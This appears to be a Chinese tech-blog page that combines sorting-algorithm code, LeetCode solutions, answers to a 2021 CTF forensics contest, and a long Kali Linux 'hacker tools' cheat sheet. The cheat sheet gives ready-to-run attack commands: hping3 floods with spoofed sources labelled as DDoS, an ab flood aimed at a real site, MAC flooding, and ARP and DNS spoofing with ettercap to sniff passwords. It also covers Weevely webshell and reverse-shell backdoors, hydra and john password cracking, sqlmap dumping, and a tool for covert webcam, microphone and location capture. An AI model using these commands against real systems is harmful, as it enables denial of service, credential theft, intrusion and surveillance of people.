step > 0: #增量必须是大于0的整数 for i in range(step,len(nums)): #遍历需要进行插入排序的数 ind = i while ind >= step and nums[ind] < nums[ind-step]: #对每组进行插入排序 nums[ind],nums[ind-step] = nums[ind-step],nums[ind] ind -= step step //= 2 #增量缩小一半 return nums array = [8,7,5,4,6,3,1] ShellSort(array) print(array)堆排序(Heapsort)创建一个堆 H[0……n-1];把堆首(最大值)和堆尾互换;把堆的尺寸缩小 1,并调用 shift_down(0),目的是把新的数组顶端数据调整到相应位置;重复步骤 2,直到堆的尺寸为 1。import math def buildMaxHeap(arr): for i in range(math.floor(len(arr)/2),-1,-1): heapify(arr,i) def heapify(arr, i): left = 2*i+1 right = 2*i+2 largest = i if left < arrLen and arr[left] > arr[largest]: largest = left if right < arrLen and arr[right] > arr[largest]: largest = right if largest != i: swap(arr, i, largest) heapify(arr, largest) def swap(arr, i, j): arr[i], arr[j] = arr[j], arr[i] def heapSort(arr): global arrLen arrLen = len(arr) buildMaxHeap(arr) for i in range(len(arr)-1,0,-1): swap(arr,0,i) arrLen -=1 heapify(arr, 0) return arr array = [8,7,5,4,6,3,1] print(heapSort(array)){dotted startColor="#ff6c6c" endColor="#1989fa"/}以下排序不在内TimSortdef binary_search(lst, item, start, end): if start == end: return start if lst[start] > item else start + 1 if start > end: return start mid = (start + end) // 2 if lst[mid] < item: return binary_search(lst, item, mid + 1, end) elif lst[mid] > item: return binary_search(lst, item, start, mid - 1) else: return mid def insertion_sort(lst): length = len(lst) for index in range(1, length): value = lst[index] pos = binary_search(lst, value, 0, index - 1) lst = lst[:pos] + [value] + lst[pos:index] + lst[index + 1 :] return lst def merge(left, right): if not left: return right if not right: return left if left[0] < right[0]: return [left[0]] + merge(left[1:], right) return [right[0]] + merge(left, right[1:]) def tim_sort(lst): """ >>> tim_sort("Python") ['P', 'h', 'n', 'o', 't', 'y'] >>> tim_sort((1.1, 1, 0, -1, -1.1)) [-1.1, -1, 0, 1, 1.1] >>> tim_sort(list(reversed(list(range(7))))) [0, 1, 2, 3, 4, 5, 6] >>> tim_sort([3, 2, 1]) == insertion_sort([3, 2, 1]) True >>> tim_sort([3, 2, 1]) == sorted([3, 2, 1]) True """ length = len(lst) runs, sorted_runs = [], [] new_run = [lst[0]] sorted_array = [] i = 1 while i < length: if lst[i] < lst[i - 1]: runs.append(new_run) new_run = [lst[i]] else: new_run.append(lst[i]) i += 1 runs.append(new_run) for run in runs: sorted_runs.append(insertion_sort(run)) for run in sorted_runs: sorted_array = merge(sorted_array, run) return sorted_array def main(): lst = [5, 9, 10, 3, -4, 5, 178, 92, 46, -18, 0, 7] sorted_lst = tim_sort(lst) print(sorted_lst) if __name__ == "__main__": main()Stoogesortdef stooge_sort(arr): """ Examples: >>> stooge_sort([18.1, 0, -7.1, -1, 2, 2]) [-7.1, -1, 0, 2, 2, 18.1] >>> stooge_sort([]) [] """ stooge(arr, 0, len(arr) - 1) return arr def stooge(arr, i, h): if i >= h: return # If first element is smaller than the last then swap them if arr[i] > arr[h]: arr[i], arr[h] = arr[h], arr[i] # If there are more than 2 elements in the array if h - i + 1 > 2: t = (int)((h - i + 1) / 3) # Recursively sort first 2/3 elements stooge(arr, i, (h - t)) # Recursively sort last 2/3 elements stooge(arr, i + t, (h)) # Recursively sort first 2/3 elements stooge(arr, i, (h - t)) if __name__ == "__main__": user_input = input("Enter numbers separated by a comma:\n").strip() unsorted = [int(item) for item in user_input.split(",")] print(stooge_sort(unsorted))
2022年09月30日
478 阅读
0 评论
52 点赞
2022-09-28
【技术分享】Leetcode 解题
两数之和给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。你可以按任意顺序返回答案。示例 1:输入:nums = [2,7,11,15], target = 9输出:[0,1]解释:因为 nums[0] + nums[1] == 9 ,返回 [0, 1]示例 2:输入:nums = [3,2,4], target = 6输出:[1,2]示例 3:输入:nums = [3,3], target = 6输出:[0,1]Go// 利用hash表进行求解 package main import "fmt" func twoSum(nums []int, target int) []int { hash := make(map[int]int) for i := 0; i < len(nums); i++ { if index, ok := hash[target-nums[i]]; ok { return []int{index, i} } hash[nums[i]] = i } return nil } func main() { array := []int{2, 7, 11, 15} fmt.Println(twoSum(array[:], 9)) }Python3class Solution(object): def twoSum(self, nums, target): dic = {} for i, num in enumerate(nums): if num in dic: return [dic[num], i] else: dic[target - num] = i判断回文数给你一个整数 x ,如果 x 是一个回文整数,返回 true ;否则,返回 false 。回文数是指正序(从左向右)和倒序(从右向左)读都是一样的整数。例如,121 是回文,而 123 不是。 示例 1:输入:x = 121输出:true示例 2:输入:x = -121输出:false解释:从左向右读, 为 -121 。 从右向左读, 为 121- 。因此它不是一个回文数。示例 3:输入:x = 10输出:false解释:从右向左读, 为 01 。因此它不是一个回文数。提示:-231 <= x <= 231 - 1Gopackage main import "fmt" func isPalindrome(x int) bool { if 0 > x || (0 == x%10 && 0 != x) { return false } var rever int for x > rever { rever = rever*10 + x%10 x /= 10 } return (x == rever) || (x == rever/10) } func main() { fmt.Println(isPalindrome(1222221)) }Python3class Solution: def isPalindrome(self, x: int) -> bool: return str(x) == str(x)[::-1]删除有序数组中的重复项给你一个 升序排列 的数组 nums ,请你 原地 删除重复出现的元素,使每个元素 只出现一次 ,返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。由于在某些语言中不能改变数组的长度,所以必须将结果放在数组nums的第一部分。更规范地说,如果在删除重复项之后有 k 个元素,那么 nums 的前 k 个元素应该保存最终结果。将最终结果插入 nums 的前 k 个位置后返回 k 。不要使用额外的空间,你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。判题标准:系统会用下面的代码来测试你的题解:int[] nums = [...]; // 输入数组 int[] expectedNums = [...]; // 长度正确的期望答案 int k = removeDuplicates(nums); // 调用 assert k == expectedNums.length; for (int i = 0; i < k; i++) { assert nums[i] == expectedNums[i]; }如果所有断言都通过,那么您的题解将被 通过。示例 1:输入:nums = [1,1,2]输出:2, nums = [1,2,_]解释:函数应该返回新的长度 2 ,并且原数组 nums 的前两个元素被修改为 1, 2 。不需要考虑数组中超出新长度后面的元素。示例 2:输入:nums = [0,0,1,1,1,2,2,3,3,4]输出:5, nums = [0,1,2,3,4]解释:函数应该返回新的长度 5 , 并且原数组 nums 的前五个元素被修改为 0, 1, 2, 3, 4 。不需要考虑数组中超出新长度后面的元素。Gopackage main import "fmt" func removeDuplicates(nums []int) int { slow, fast := 1, 1 for fast < len(nums) { if nums[fast-1] != nums[fast] { nums[slow] = nums[fast] slow++ } fast++ } return slow } func main() { var array = []int{1, 2, 3, 4, 4, 6, 6, 8, 8, 9} fmt.Println(removeDuplicates(array)) }Python3class Solution: def removeDuplicates(self, nums: List[int]) -> int: slow = fast = 0 while fast < len(nums): if nums[slow] != nums[fast]: slow += 1 nums[slow] = nums[fast] fast += 1 return slow + 1
2022年09月28日
72 阅读
0 评论
29 点赞
2022-09-21
【CTF解题】2021 陇剑杯解题
JWT此时正在进行的可能是 ( http ) 协议的网络攻击。(如有字母请全部使用小写,填写样例:http、dns、ftp)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:该网站使用了 ( JWT ) 认证方式。(如有字母请全部使用小写)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客绕过验证使用的jwt中,id和username是 ( 10086#admin )。(中间使用#号隔开,例如1#admin)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客获取webshell之后,权限是 ( root )。昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客上传的恶意文件文件名是 ( 1.c )。昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客在服务器上编译的恶意so文件,文件名是 ( looter.so )。(请提交带有文件后缀的文件名,例如x.so)昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:黑客在服务器上修改了一个配置文件,文件的绝对路径为 ( /etc/pam.d/common-auth )。(请确认绝对路径后再提交)webshell单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客登录系统使用的密码是 ( Admin123!@# )。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客修改了一个日志文件,文件的绝对路径为 ( /var/www/html/data/Runtime/Logs/Home/21_08_07.log )。(请确认绝对路径后再提交)单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客获取webshell之后,权限是 ( 1.php )。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客上传的代理工具客户端名字是 ( frpc.ini )。(如有字母请全部使用小写)单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客代理工具的回连服务端IP是 (192.168.239.123)。单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:黑客的socks5的连接账号、密码是 (0HDFt16cLQJ#JTN276Gp)。(中间使用#号隔开,例如admin#passwd)。简单日志分析某应用程序被攻击,请分析日志后作答:黑客攻击的参数是 (user=)。(如有字母请全部使用小写)某应用程序被攻击,请分析日志后作答:黑客查看的秘密文件的绝对路径是 (/Th4s_IS_VERY_Import_Fi1e)。某应用程序被攻击,请分析日志后作答:黑客反弹shell的ip和端口是 (192.168.2.197:8888)。(格式使用“ip:端口",例如127.0.0.1:2333)日志分析单位某应用程序被攻击,请分析日志,进行作答:网络存在源码泄漏,源码文件名是 (www.zip)。(请提交带有文件后缀的文件名,例如x.txt)单位某应用程序被攻击,请分析日志,进行作答:分析攻击流量,黑客往/tmp目录写入一个文件,文件名为 (sess_car)。单位某应用程序被攻击,请分析日志,进行作答:分析攻击流量,黑客使用的是 (SplFileObject) 类读取了秘密文件。SQL注入某应用程序被攻击,请分析日志后作答:黑客在注入过程中采用的注入手法叫 (布尔盲注)。(格式为4个汉字,例如“拼搏努力”)。黑客在注入过程中,最终获取flag的数据库名、表名和字段名是 (sqli#flag#flag)。(格式为“数据库名#表名#字段名”,例如database#table#column)
2022年09月21日
35 阅读
0 评论
6 点赞
2022-09-20
【工具分享】Kali Linux 黑客工具
留言这些工具我用的比较多,学习到的工具,我都会慢慢更新在这里,有些工具需要安装,说的不是太详细可以自行百度文章视频学习。niktoNikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,能在230多种服务器上扫描出,2600多种有潜在危险的文件、CGI及其他问题。Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的http模式等。nikto -host http://www.example.comsteghideSteghide是一款隐写术工具,用于在音频、图像、视频等文件中隐藏机密信息,并且可以加密隐藏的信息。它可以在文件中嵌入任意格式的数据,比如文本文件、图像、音频等等。tcpdumptcpdump是一个强大的网络数据包分析工具,它能够抓取网络上的数据包并将其分析。它可以用来诊断网络问题,分析网络安全问题,监测网络流量等,tcpdump可以运行在各种操作系统上,如Linux、Unix和Windows。unshadowunshadow 是一个 Unix 系统工具,用于将 /etc/passwd 和 /etc/shadow 文件合并为一个 John the Ripper 可读的文件,以便对系统的密码进行密码破解,该命令需要 root 权限,因为需要读取系统上的 shadow 文件,而该文件只有 root 用户才有权限读取。unshadow /etc/passwd /etc/shadow > passwords.txt这条命令会将 /etc/passwd 和 /etc/shadow 文件合并为一个文本文件(passwords.txt),可以使用 John the Ripper 工具对其进行密码破解。rar2johnrar2john是John the Ripper的一个工具,用于将RAR文件的加密密码结构转换为适用于John the Ripper的格式,通过这样做,您可以使用John the Ripper破解加密的RAR文件,以获取存储在其中的数据。rar2john file > 1.txt // 导出hash john 1.txt // 开始爆破hashabab 是web上的压力测试工具,可以实现cc攻击。-n:在测试会话中所执行的请求个数。默认时,仅执行一个请求。-c:一次产生的请求个数。默认是一次一个。ab -c 10000 -n 1000 http://www.baidu.com/hping3hping命令是一个基于命令行的TCP/IP工具,它在UNIX上得到很好的应用,不过它并非仅仅一个ICMP请求/响应工具,它还支持TCP、UDP、ICMP、RAW-IP协议,以及一个路由模型HPING一直被用作安全工具,可以用来测试网络及主机的安全。// syn flood 伪造随机源地址,时间间隔1000us hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source -i u1000 // tcp flood hping3 -SARUPF -p 80 --flood --rand-source 192.168.180.133 // udp flood hping3 --udp 192.168.180.133 -p 80 --rand-source --flood // icmp flood hping3 --icmp 192.168.180.133 --rand-source --flood // dns flood hping3 --udp 192.168.180.133 -p 53 --rand-source --flood // 数据包跟踪 hping3 --traceroute -V -1 www.qq.com // 多端口扫描 hping3 -I eth1 -8 1-1024 192.168.180.133macofmacof可以造成交换机mac泛洪,受到攻击之后,内部的CAM表很快就会被填满了,交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常地向局域网提供转发功能。-i interface 指定要发送的接口 -s src 指定源IP地址 -d dst 指定目标IP地址 -e tha 指定目标硬件地址 -x sport 指定TCP源端口 -y dport 指定TCP目标端口 -n times 指定要发送的数据包数macof // 开始攻击fpingfping是一个小型命令行工具,用于向网络主机发送ICMP ( Internet控制消息协议 )回应请求,类似于ping,但在ping多个主机时性能要高得多。 fping完全不同于ping,因为您可以在命令行上定义任意数量的主机,或者指定包含要ping的IP地址或主机列表的文件。-a 显示可ping通的目标 -A 将目标以ip地址的形式显示 -b <num> ping 数据包的大小。(默认为56) -B <f> 设置指数反馈因子到f -c <num> ping每个目标的次数 (默认为1) -C <num> 同-c,返回的结果为冗长格式 -e 显示返回数据包所费时间 -f <file> 从文件获取目标列表( - 表示从标准输入)(不能与 -g 同时使用) -g 通过指定开始和结束地址来生成目标列表(例如:fping –g 192.168.1.0 192.168.1.255)或者一个IP/掩码形式(例如:fping –g 192.168.1.0/24) -i <num> 设置ip的TTL值 (生存时间) -l 循环发送ping -m ping目标主机的多个网口 -n 将目标以主机名或域名显示(等价于 -d ) -p <num> 对同一个目标的ping包间隔(毫秒) (在循环和统计模式中,默认为1000) -q 安静模式(不显示每个目标或每个ping的结果) -Q <num> 同-q, 但是每n秒显示信息概要 -r <num 当ping失败时,最大重试次数(默认为3次) -s 打印最后的统计数据 -t <num> 单个目标的超时时间(毫秒)(默认500) -u 显示不可到达的目标 -v 显示版本号fping -v // 显示版本 fping -g 192.168.60.1/24 // 范围扫描 fping -g -a 192.168.60.1/24 // 显示可以ping通的主机并写到文本arp-scanarp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。什么是ARP协议地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,是根据IP地址获得物理地址MAC的一个TCP/IP协议。通过ARP,在局域网可以很容易构成一个ARP欺骗,从而得到有用数据信息。-f 从指定文件中读取主机名或地址 -l 从网络接口配置生成地址 -i 各扫描之间的时间差 -r 每个主机扫描次数 -V 显示程序版本并退出 -t 设置主机超时时间 -L 使用网络接口 -g 不显示重复的数据 -D 显示数据包往返时间arp-scan -l // 范围扫描 arp-scan -f ip.txt // ip范围扫描 arp-scan -l -i 1000 // 扫描之间的时间差 arp-scan -l -r 5 // 每个主机扫描次数 arp-scan -l -V // 显示程序版本并退出 arp-scan -t 1000 192.168.75.0/24 // 设置主机超时时间 arp-scan -L eth0 // 使用网络接口 arp-scan -l -g // 不显示重复的数据 arp-scan -l -D // 显示数据包往返时间 Weevely生成和管理很难检测到的PHP木马,这是一个Web应用程序后开发的重要工。可用于像一个隐藏的后门,作为一个有用的远程控制台更换管理网络帐户,即使托管在免费托管服务,类似于中国菜刀、蚂一剑等工具。weevely generate 208522 webshell.php // 生成webshell weevely http://192.168.80.131/webshell.php 208522 // 连接webshell :shell_su #通过更变使用者来执行shell命令,可以获得root权限来执行命令. :shell_sh #执行 shell 命令. :shell_php #执行 PHP 命令. :system_extensions #收集PHP和webserver扩展列表 :system_info #收集系统信息 :system_procs #列出正在运行的进程 :audit_disablefunctionbypass #使用mod_cgi和.htaccess绕过系统禁用函数的限制。它会上传.htaccess和CGI脚本,并在远程服务器上运行伪系统shell :audit_etcpasswd #查看/etc/passwd文件 :audit_suidsgid #查找带有SUID或SGID标志的文件。 :audit_phpconf #查看php配置信息 :audit_filesystem #审核文件系统的弱权限。枚举各种系统目录并寻找可读写执行的目录,模块仅默认搜索部分linux下的常见目录,logs、root、home等 :backdoor_reversetcp #执行反向TCP shell. 需要nc -lvp <port>监听 :backdoor_tcp # 在TCP端口上生成shell :net_scan #TCP端口扫描. :net_mail #发送邮件. :net_ifconfig #获取网络接口地址. :net_curl #执行类似curl的HTTP请求. :net_proxy #运行本地代理以通过目标转移HTTP / HTTPS浏览 :net_phpproxy #在目标上安装PHP代理. :bruteforce_sql #可用来猜解数据库密码. :file_find #查找具有给定名称和属性的文件. :file_download #从远程文件系统下载文件. :file_check #获取文件的属性和权限. :file_touch #更改文件时间戳. :file_cd #更改当前工作目录. :file_grep #打印与多个文件中的模式匹配的行. :file_gzip #压缩或解压gzip文件. :file_tar #压缩或解压tar文件. :file_enum #检查路径列表的存在和权限 :file_bzip2 #压缩或解压bzip2文件. :file_mount #使用HTTPfs挂载远程文件系统. :file_clearlog #从文件中删除字符串. :file_zip #压缩或解压zip文件. :file_cp #复制单个文件. :file_upload2web #自动将文件上传到Web文件夹并获取相应的URL. :file_edit #在本地编辑器上编辑远程文件. :file_read #从远程文件系统中读取远程文件. :file_webdownload #指定URL下载文件. :file_upload #文件上载到远程文件系统. :file_ls #列出目录内容. :file_rm #删除远程文件. :sql_dump #Multi dbms mysqldump replacement. :sql_console #执行SQL查询或运行sql控制台.netcatNetCat号称网络工具中的瑞士军刀,可以用它来做很多有用事情,比如侦听端口、端口扫描、传输文件、网络测速等等。1.侦听模式/传输模式2.Telnet/获取banner信息3.传输文本信息4.传输文件/目录5.加密传输文件6.远程控制/木马7.加密所有流量8.流媒体服务器9.远程克隆硬盘nc -lp 444 // 监听模式 nc -nv 192.168.60.121 444 // 连接ip进行通信 nc -nv 192.168.60.121 | ls -l // 远程执行命令 -v 详细输出-l 监听模式,用于入站连接-n 指定数字的IP地址,不能用hostname-p port 本地端口号-q 在stdin的EOF之后退出并延迟秒-z 将输入输出关掉--用于扫描时wirsharkWireshark是网络数据包分析软件,可以探测指定网卡收到的数据包,并尽可能的分析这些数据包的协议、数据等资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换,wirshark是图形化操作软件// 过滤规则 ip.src addr==192.168.0.208 or ip.src addr eq 192.168.0.208 // 显示来源IP ip.dst addr==192.168.0.208 or ip.dst addr eq 192.168.0.208 // 显示目标IP tcp.port eq 80 // 不管端口是来源的还是目标的都显示 tcp.port == 80 // 过滤80端口 tcp.port eq 2722 tcp.port eq 80 or udp.port eq 80 tcp.dstport == 80 // 只显tcp协议的目标端口80 tcp.srcport == 80 // 只显tcp协议的来源端口80 tcp.port >= 1 and tcp.port <= 80 // 过滤端口范围 // 工具能使用的协议有 TCP、udp、arp、icmp、http、smtp ftp、dns、msnms、ip、ssl、等等。 udp.length == 26 // 这个长度是指udp本身固定长度8加上udp下面那块数据包之和 tcp.len >= 7 // 指的是ip数据包(tcp下面那块数据),不包括tcp本身 ip.len == 94 // 除了以太网头固定长度14,其它都算是ip.len,即从ip本身到最后 frame.len == 119 // 整个数据包长度,从eth开始到最后nmapNmap,Linux下的网络扫描和嗅探工具包,一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统。简单而言,这就是一个工具,用来检测目标主机是否开启,其操作系统是什么,有那些端口是开启的,是否可以扫描到目标主机存在漏洞等等,从而制定渗透的计划。Nmap的探测结果以列表的形式展现,同时分为四个状态:open、closed、filtered(被过滤的)、unfiltered。open:该端口开放;closed:该端口关闭的;filtered:发出的探测数据包不能到达目标主机的目标端口;unfiltered:该端口可以被访问,但具体不清楚是开放的还是关闭的。nmap 192.168.60.1 // 最基础的使用 nmap 192.168.60.1 -vv // 查看其详细信息 namp -p 1-60 192.168.60.1 // 扫描指定端口 nmap -sP 192.168.60.1 // ping扫描 nmap --traceroute 192.168.60.1 // nmap路由追踪 nmap --scan-delay 10s 192.168.60.1 // 每次延迟10秒后再发送数据包,防止大量的扫描记录引起对方的防护。 nmap -Pn 192.168.60.1 // 跳过主机扫描,在扫描防火墙时很有必要。 nmap -iL 1.txt // 扫描文本里面所有的IP nmap -sS -T4 192.168.60.1 // syn 扫描 nmap -sF -T4 192.168.60.1 // fin 扫描 nmap -sA -T4 192.168.60.1 // ack扫描 nmap --script=auth 192.168.60.1 // 弱口令扫描 nmap --script=vuln 192.168.60.1 // 扫描常见漏洞 nmap --script=ftp-brute.nse 192.168.60.1 //扫描弱口令账号,但是所用字典很小 nmap -p 80 --script=http-enum.nse 192.168.60.1 //扫描WEB敏感目录hydrahydra 是一款世界顶级密码暴力破解工具,支持几乎所有的协议的在线破解,功能强大,其密码能否被破解关键取决于破解字典的是否足够强大,在网络安全渗透过程中是一款必备的测试工具。目前该工具支持以下协议的爆破:AFP,Cisco AAA,Cisco身份验证,Cisco启用,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM- GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,Oracle Listener,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP,SOCKS5,SSH(v1和v2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth ,VNC和XMPP,使用xhydra可以打开图形界面。-R:继续从上一次进度接着破解 -S:大写,采用SSL链接 -s <PORT>:小写,可通过这个参数指定非默认端口 -l <LOGIN>:指定破解的用户,对特定用户破解 -L <FILE>:指定用户名字典 -p <PASS>:小写,指定密码破解,少用,一般是采用密码字典 -P <FILE>:大写,指定密码字典 -e <ns>:可选选项,n:空密码试探,s:使用指定用户和密码试探 -C <FILE>:使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数 -M <FILE>:指定目标列表文件一行一条 -t 指定多线程数,默认为16个线程 -o <FILE>:指定结果输出文件 -f :在使用-M参数以后,找到第一对登录名或者密码的时候中止破解 -t <TASKS>:同时运行的线程数,默认为16 -w <TIME>:设置最大超时的时间,单位秒,默认是30s -v / -V:显示详细过程 server:目标ip// 爆破SSH: hydra -L user.txt -P passwd.txt -o ssh.txt -vV -t 10 192.168.43.94 ssh // -L指定用户字典 -P 指定密码字典 -o把成功的输出到ssh.txt文件 -vV显示详细信息 -t 指定线程数 // 爆破FTP hydra -L user.txt -P passwd.txt -o ftp.txt -t 5 -vV 192.168.43.94 ftp // -L指定用户名列表 -P指定密码字典 -o把爆破的输出到文件 -t指定线程 -vV 显示详细信息 // 爆破telnet hydra 192.168.43.34 -L user.txt -P passwd.txt -t 10 telnet // 爆破3389 hydra 192.168.43.34 rdp -L user.txt -P passwd.txt -Vdirbdirb 是一个基于命令行的工具,可以根据单词列表对任何目录进行暴力破解。 它会发出一个 HTTP 请求,并查看每个请求的 HTTP 响应代码。-a 设置ua -c 设置cookie带cookie扫描 -N 忽略某些响应码 -o 输出结果 -p 使用代理 -X 在每个测试目录上附加后缀 -z 设置毫秒延迟dirb http://www.baidu.com // 正常扫描 dirb http://www.baidu.com 1.txt // 带用户字典 dirb http://www.baidu.com 1.txt -a "ua" -c "cookie" // 设置 ua 和 cookie dirb http://www.baidu.com 1.txt -p ip:port -o result.txt // 使用代理和输出结果 dirb http://www.baidu.com 1.txt -z 1000 // 设置毫秒延迟arpspoofarpspoof 是一款进行arp欺骗的工具,攻击者可以通过它来毒化受害者arp缓存,将网关mac替换为攻击者mac,然后攻击者可截获受害者发送和收到的数据包,可获取受害者账户、密码等相关敏感信息。ARP欺骗,是让目标主机的流量经过主机的网卡,再从网关出去,而网关也会把原本流入目标机的流量经过我得电脑。工具使用非常简单arpspoof -i eth0 -t 192.168.60.119 192.168.60.1 // 第一个ip是要攻击的主机 第二个ip是要伪装的ip可以填网关 arpspoof -i 网卡 -t 目标IP 网关 // 反向欺骗 arpspoof -i 网卡 -t 网关 目标IPettercap开启流量转发就不会断网受害者的流量会经过攻击者的机器可以实现嗅探echo 1 > /proc/sys/net/ipv4/ip_forward // 开启流量转发 ettercap -G // UI窗口化 ettercap -Tqi eth0 // 进行账号密码嗅探 ettercap -Tqi eth0 -M arp:remote /// /10.11.112.1// // 嗅探网关网页账号密码 ettercap -Tqi eth0 -M ARP // arp毒化eth0所在的网段,安静模式文本显示 ettercap -Tzq /10.0.0.1/21,22,23 -w hack.pcap // 监听10.0.0.1的ftp,ssh,telnet信息,并保存到本地 ettercap -Tq -P dns_spoof -M arp /192.168.1.120/ // 对192.168.1.120进行dns欺骗,使用默认网卡eth0文本模式安静显示 ettercap -Tqi eth0 -L sniffed_data -F filter.ef -M arp:remote /10.0.0.2/80 // 使用过滤并监听10.0.0.2在80端口的所有通信,安静模式文本显示,保存数据到本地 ettercap -Tqi eth0 -M ARP /ip// -w scan.logevillimiterevillimiter这个工具可以直接限制别人的网速,这个项目在github上开源,感兴趣可以去看下是 Python3编写的程序。Github地址: https://github.com/bitbrute/evillimiter下载安装直接 git clone https://github.com/bitbrute/evillimiter.git下载到本地后解压,最好是用linux环境,运行需要Python3环境执行 sudo Python setup.py install 来安装 # 按情况来安装好,输入evillimiter进入就可以操作了。┌──(root㉿kali)-[/home/kali/evillimiter] └─# evillimiter // 进入 (Main) >>> scan // 扫描局域网主机 100% |██████████████████████████████| 256/256 OK 12 hosts discovered. (Main) >>> hosts // 列出扫描结果 ┌Hosts────────────────┬───────────────────┬──────────┬────────┐ │ ID │ IP address │ MAC address │ Hostname │ Status │ ├────┼────────────────┼───────────────────┼──────────┼────────┤ │ 0 │ 192.168.60.1 │ 64:6e:97:39:fa:1c │ │ Free │ │ 1 │ 192.168.60.100 │ 90:e8:68:d4:ea:d9 │ │ Free │ │ 2 │ 192.168.60.102 │ 14:5a:fc:3e:52:ed │ │ Free │ │ 3 │ 192.168.60.103 │ 30:f7:72:26:90:11 │ │ Free │ │ 4 │ 192.168.60.104 │ a8:93:4a:2b:dc:87 │ │ Free │ │ 5 │ 192.168.60.105 │ a8:93:4a:89:9d:0d │ │ Free │ │ 6 │ 192.168.60.106 │ e8:d0:fc:c9:ab:27 │ │ Free │ │ 7 │ 192.168.60.107 │ 94:08:53:2f:17:41 │ │ Free │ │ 8 │ 192.168.60.111 │ 00:0c:29:77:cc:fb │ │ Free │ │ 9 │ 192.168.60.117 │ 00:0c:29:32:31:71 │ │ Free │ │ 10 │ 192.168.60.119 │ 04:d9:f5:5f:d3:e3 │ │ Free │ │ 11 │ 192.168.60.250 │ 80:18:44:ed:fc:7c │ │ Free │ └────┴────────────────┴───────────────────┴──────────┴────────┘ (Main) >>> limit 11 1kbit // 进行限速 1kbit 网速 OK 192.168.60.119 upload / download limited to 1kbit. (Main) >>> free 7 // 解除限制 (Main) >>> quit // 退出 sqlmap如果你正在寻找一个开源渗透测试工具。sqlmap 是最好的之一。它可以自动化利用 SQL 注入漏洞的过程,并帮助你接管数据库服务器。sqlmap.py -u url // 判断是否存在注入 sqlmap.py -u url --dbs // 查询当前用户的所有数据库 sqlmap.py -u url -D 数据库 --tables // 获取数据库中的表名 sqlmap.py -u url -D 数据库 -T 表名 --columns // 获取表中的字段名 sqlmap.py -u url -D 数据库 -T 表名 -C 字段 --dump // 获取字段内容 sqlmap.py -u url --users // 获取数据库所有的用户 sqlmap.py -u url --passwords // 获取数据库用户的密码 sqlmap.py -u url --curerent-db // 获取当前网站数据库名 sqlmap.py -u url --current-user // 获取当前网站数据库的用户名称 sqlmap.py -u url --is-dba // 当前用户是否为管理权限StormBreaker无需任何权限即可获取设备信息网址定位位置 [智能手机]网络摄像头偷拍、网址录音感兴趣可以去Github上看看Github地址:https://github.com/ultrasecurity/Storm-Breaker# Linux 操作系统安装 git clone https://github.com/ultrasecurity/Storm-Breaker cd Storm-Breaker sudo bash install.sh sudo python3 -m pip install -r requirements.txt sudo python3 st.pymsfconsolemsfconsole是metasploit中的一个工具(kali自带工具)msfconsole集成了很多漏洞的利用的脚本,并且使用起来很简单的网络安全工具banner // 替换logo search port:443 // 漏洞搜索 use // 指定模块 info // 查看模块信息 back // 返回上一级 show options // 查看参数 show targets // 模块可攻击目标的类型 run、explpit、run -j // 这三个都是执行 check // 检测是否存在漏洞 connect // 连接端口 类似nc sessions // 可以查看运行的会话,一般在回去靶机权限时使用 sessions -i 会话号 // 可以进入运行的会话 getuid // 提权Yersiniayersinia是OSI第2层的攻击的框架,支持生成树协议(STP),VLAN中继协议(VTP),动态中继协议(DTP),IEEE 802.1Q,IEEE 802.1X,思科发现协议(CDP),动态主机配置协议(DHCP)等可以实现dhcp泛洪攻击、交换机欺骗、STP欺骗、ARP欺骗、DHCP欺骗(伪装成dhcp服务器)h 帮助屏幕 x 选择并执行攻击 i 选择网卡 ENTER 关于选择项目的信息 v 查看数据包的16进制 d 加载协议默认值 e 编辑数据表字段 f 列出捕获文件 s 从协议保存数据包 S 保存-来自所有协议的数据包 L 从网络学习数据包 N 设置Mac欺骗开/关 l 列出正在运行的攻击 K 杀死所有正在运行的攻击 c 清除当前协议statc C 清除所有协议状态 g 转到其他协议屏幕 ctrl-l 重绘屏幕 w 写入配置文件 a 关于这个工具 q 退出yersinia -G // 启动图形化界面 yersinia 协议 -interface 网卡-attack id // 命令行的方式hping3// DDOS攻击 